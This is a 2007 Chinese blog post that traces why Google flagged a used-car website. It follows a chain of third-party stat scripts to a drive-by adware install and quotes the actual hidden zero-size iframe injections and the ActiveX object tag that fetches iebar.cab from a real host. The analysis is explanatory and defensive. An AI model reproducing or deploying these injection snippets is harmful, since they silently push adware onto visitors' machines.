There can be no Triumph without Loss,No Victory without Suffering,No Freedom without Sacrifice.
All you have to decide is what to do with the time that is given to you.
Get busy Living, or Get busy Dying?
  首页 | 留言给我 | 订阅 Rss | CLI | 黄白之恋 Posts:158   Hits: 5010896    Comments: 173    
 日历归档
<<  <  2024 - 03  >  >>
SuMoTuWeThFrSa
     12
3456789
10111213141516
17181920212223
24252627282930
31
 About Me
 Name: ZhangSichu
 Sex: Male
 Age: 32
 Email: ZhangSichu@gmail.com
 MSN: ZhangSichu@hotmail.com
 Home: ZhangSichu.com
 WeiBo: weibo.com/zhangsichu
 个人推荐
 分类归档
  ·C++/C(5)  RSS
  ·软件工程(1)  RSS
  ·杂事/随感(26)  RSS
  ·.Net/Java(30)  RSS
  ·面向对象程序设计(5)  RSS
  ·汇编/破解(0)  RSS
  ·平面设计(3)  RSS
  ·SQL(5)  RSS
  ·COM/COM+(2)  RSS
  ·Web开发(81)  RSS
 My Friends
Back Forward Refresh Home 2024年3月28日 星期四 RSS CLI Mine Sweeper. In Javascript.

  一段Script引发的“冤案”
字体大小 [ ]

用google搜索关键字:西安二手车,发现这个网站的下面多了一段警告。提示:This site may harm your computer. 本网站可能危害您的电脑。点击link后google会弹出一个更大的警告让你不去访问这个网站。
Click to Open in New Window
看到这个提示,十分佩服google。把搜索和查毒集成在一起了。Google的搜索引擎真是牛。可是为什么google会认为这个网站有问题会harm your computer。进入google对此内容的解释:
This warning message appears with search results that weve identified as sites that may install malicious software on your computer. We want our users to feel safer when they search the web, and were continuously working to identify such dangerous sites and increase protection for our users.
看来是这个站点会在用户浏览时安装恶意的程序。
升级了诺顿,冲入这网站探个究竟。刚一进如后就发现诺顿提示有病毒。
Click to Open in New Window
看来这个网站真的是有问题。到底这个网站那里出了问题,是站长故意把病毒放在里面了?还是什么问题。进入病毒的描述信息

http://securityresponse.symantec.com/avcenter/cgi-bin/virauto.cgi?vid=4294906467
Updated: February 13, 2007 11:51:32 AM
Type: Adware
Publisher: HDT, Inc
Risk Impact: High
File Names: iebar22.0.dll barhelp22.0.dll
Systems Affected: Windows 2000, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP
Behavior
Adware.Iebar is a Browser Helper Object that displays advertisements and downloads files
Symptoms
Your Symantec product detects this threat as Adware.Iebar.
Unexpected advertisements appear in Internet Explorer browser windows.

看来是IE恶意插件。
用http请求跟踪工具,看看浏览器请求了什么。
Click to Open in New Window
看到iebar.t2t2.com /iebar.cab application/octet-stream。这一行真相大白了。是这个网站加载了这个恶意文件。当用户浏览时要求用户下载。看来google真厉害,把网站上的这种动作都记录下来并分析了。

要求用户访问下载这个iebar.cab,Render过来对应的html是什么呢。是用iframe src请求下载,使用image src script src是什么样一种方式呢?再次进入跟踪。发现是:
iebar.t2t2.com /test1.htm 这一行Render了这样的代码
<script language=javascript>
......
if (GetCookie("today_install")==null)
{ document.write("<object id=InitObj classid=clsid:56A7DC70-E102-4408-A34A-AE06FEF01586 height=0 width=0 CODEBASE=http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0></object>");
}
......
</script>
其中的:
document.write("<object id=InitObj classid=clsid:56A7DC70-E102-4408-A34A-AE06FEF01586 height=0 width=0 CODEBASE=http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0></object>");
是“元凶”要求用户下载并安装这个恶意插件。
是谁请求的/test1.htm?
查看stat1.vipstat.com /stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 text/html 这一行,它Render了这样的代码:
….
if (isinstall==1){
SetCookie(cookieKey,pid +"|" + unionid + "|" + sid,1);
document.write("<iframe width=0 height=0 src=\"http://iebar.t2t2.com/test1.htm\" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes><\/iframe>")
}

是document.write("<iframe width=0 height=0 src=\"http://iebar.t2t2.com/test1.htm\" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes><\/iframe>") 是javascript 动态添加的iframe带入的恶意脚本。
是谁请求的/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24
查看stat.t2t2.com /log/log1.asp?default&user=zgchecom text/html这一行
它请求Render回来了:
function GetCookie(sName)
{
var aCookie = document.cookie.split("; ");
for (var i=0; i < aCookie.length; i++)
{
var aCrumb = aCookie[i].split("=");
if (sName == aCrumb[0])
return unescape(aCrumb[1]);
}
return null;
}
cookieName="comt2t2";
isCookie = GetCookie(cookieName)
if ( isCookie != ok)
{
document.write(<iframe width=0 height=0 src="http://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=yes></iframe>);
}
又是javascript 动态添加的iframe带入的恶意脚本。
是谁请求了/log/log1.asp?default&user=zgchecom
查看stat.t2t2.com /stat.js application/x-javascript这一行Render回来的脚本:
var tc_user;
document.write(<a href=http://www.textclick.com/viewmain.asp?name=+tc_user+ target=_blank><img src=http://stat.t2t2.com/stat.gif border=0></a>);
if (tc_user==null) tc_user="";
document.write(<iframe width=0 height=0 src="http://stat.t2t2.com/log/log1.asp?default&user=+tc_user+" frameborder=no border=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no><\/iframe>);
还是javascript 动态添加的iframe带入的恶意脚本。
这几次绕来绕去,都没有看到www.zgche.com 我们实际访问的站点。
http://www.zgche.com/index.asp Render回来的html终于找到加载stat.t2t2.com/stat.js 的代码:

<script language="javascript" src="http://count16.51yes.com/click.aspx?id=162936015&logo=8"></script>
<script>var a="zgchecom";</script>
<script>var tc_user="zgchecom";var tc_class="18";</script>
<script src="http://stat.t2t2.com/stat.js"></script>

终于整个加载的线路清楚了。
http://www.zgche.com/index.asp ->
http://stat.t2t2.com/stat.js ->
http://stat.t2t2.com/log/log1.asp?default&user=zgchecom -> http://stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 ->
http://iebar.t2t2.com/test1.htm ->
http://iebar.t2t2.com/iebar.cab

通过上面的加载。恶意的程序最终Render成<object id=InitObj classid=clsid:56A7DC70-E102-4408-A34A-AE06FEF01586 height=0 width=0 CODEBASE=http://iebar.t2t2.com/iebar.cab#Version=1,1,0,0></object> 让浏览器来解释。浏览器看到object activeX要求用户安装。恶意程序通过这个手段安装到用户的机器上了。
好曲折的步骤。恶意程序十分会隐藏自己。
最终找到恶意程序。但是从上面的分析最初用户访问的www.zgche.com并没有“问题”。不是站长放入了恶意程序。它完全是被“牵连”的。是 stat1.vipstat.com/stat/IEBarInstall_TC.htm?pid=27902&unionid=4&sid=18458&ktime=24 加载了恶意成程序。是stat1.vipstat.com出了问题。但是google认为是它出了问题。Google站在访问者的角度来看待问题。在 google的link: http://www.stopbadware.org/home/help 看到 stopbadware建立了一个数据库,存储这些恶意站点的信息,建立了黑名单。支持申诉。猜想google是分析这个页面的请求,当请求http: //iebar.t2t2.com/iebar.cab这种在黑名单的地址就认为这个网站是有恶意的网站。最初在建立这个黑名单时,是用这种最终存放恶意程序的地址为源头,来搜索谁请求了他们。然后记录下这些直接请求的地址。然后再看谁请求了这些地址。再次加入黑明单。这样层层的加入来扩张黑名单的数据库。
问题的根本原因是一段script的多重加载,加载了恶意程序。
  Posted @ 4/24/2007 2:59:47 PM | Hits (38585) | Comments (3

  Comment
 #re:一段Script引发的“冤案”  5/12/2007 9:04:15 PM  hw
挺经典的,就不知道有没有骗google的方法
 #re:一段Script引发的“冤案”  5/5/2007 11:03:27 AM  HickeyLiu
Good.
 #re:一段Script引发的“冤案”  4/26/2007 11:25:02 AM  Jerry
哇哦,Great Job!
  Post Comment
标题 *
作者 *
密码 记住我
评论 *
    


Stable in Firefox 1.5 2.0Stable in IE6 IE7Stable in MozillaStable in Netscape
ZhangSichu.com V0.1.7507
Powered By ZhangSichu
Copyright © ZhangSichu
Download ZhangSichu.com source code. Download source code